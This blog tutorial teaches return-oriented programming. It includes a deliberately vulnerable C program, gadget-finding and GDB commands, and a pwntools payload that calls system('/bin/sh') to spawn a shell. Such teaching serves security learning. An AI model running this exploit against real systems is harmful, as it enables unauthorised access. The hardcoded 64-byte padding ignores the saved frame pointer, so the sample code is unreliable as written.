Sunday, March 2, 2025

Exploit 101: Part 4 - Return-Oriented Programming (ROP) Basics


In the fourth part of our Exploit 101 series, we dive into Return-Oriented Programming (ROP), a powerful exploitation technique used to bypass security mitigations like Data Execution Prevention (DEP).

What is Return-Oriented Programming (ROP)?

ROP is an advanced exploitation technique that allows an attacker to execute code without injecting shellcode directly into memory. Instead, it reuses existing code snippets (gadgets) from the binary or loaded libraries to craft a malicious payload.

Why Use ROP?

  • Bypasses DEP: Since DEP prevents execution of injected shellcode, ROP leverages legitimate executable code.
  • Avoids direct shellcode injection: Uses existing functions to achieve malicious actions.
  • Works on non-executable stacks: Helps execute system calls by chaining existing instructions.

1. Understanding ROP Gadgets

ROP gadgets are small instruction sequences that end in a ret instruction. They allow control over execution flow without injecting code.

Example ROP Gadget:

pop eax
ret

This allows the attacker to control the eax register before returning execution.

Finding ROP Gadgets

Use ROPgadget to find usable instructions in a binary:

ROPgadget --binary vuln

Example output:

0x0804849b : pop eax ; ret
0x08048542 : pop ebx ; pop ecx ; ret

These gadgets can be chained together to manipulate execution flow.

2. Setting Up a ROP Attack

Step 1: Identify a Vulnerable Function

Consider this vulnerable C program:

#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
    vulnerable_function(argv[1]);
    return 0;
}

It lacks bounds checking, leading to a buffer overflow.

Step 2: Find the Offset

Use a cyclic pattern to find the crash offset:

from pwn import *
pattern = cyclic(100)
print(pattern)

Run the binary with the pattern and find the overwrite location in EIP/RIP:

./vuln $(python -c 'from pwn import *; print(cyclic(100))')

Check the register in GDB:

gdb -q ./vuln
run $(python -c 'from pwn import *; print(cyclic(100))')
info registers

Find the offset using:

print(cyclic_find(0x61616162))  # Replace with actual crash value

Step 3: Build the ROP Chain

Find a useful function like system():

objdump -d vuln | grep system

If system() is available, we can call it with /bin/sh to gain a shell.

Example ROP chain in Python:

from pwn import *

binary = ELF("./vuln")
system = binary.symbols['system']
bin_sh = next(binary.search(b"/bin/sh"))

payload = b"A" * 64  # Overflow buffer
payload += p32(system)  # Call system()
payload += b"AAAA"  # Return address (not needed)
payload += p32(bin_sh)  # Argument to system()

print(payload)

Run the exploit:

./vuln $(python exploit.py)

If successful, this spawns a shell.

Conclusion

ROP is an essential technique for bypassing DEP and executing code without injecting shellcode directly. In the next part, we will cover Heap Exploitation Techniques.

Stay tuned for Exploit 101: Part 5 – Heap Exploitation Basics!

0 comments: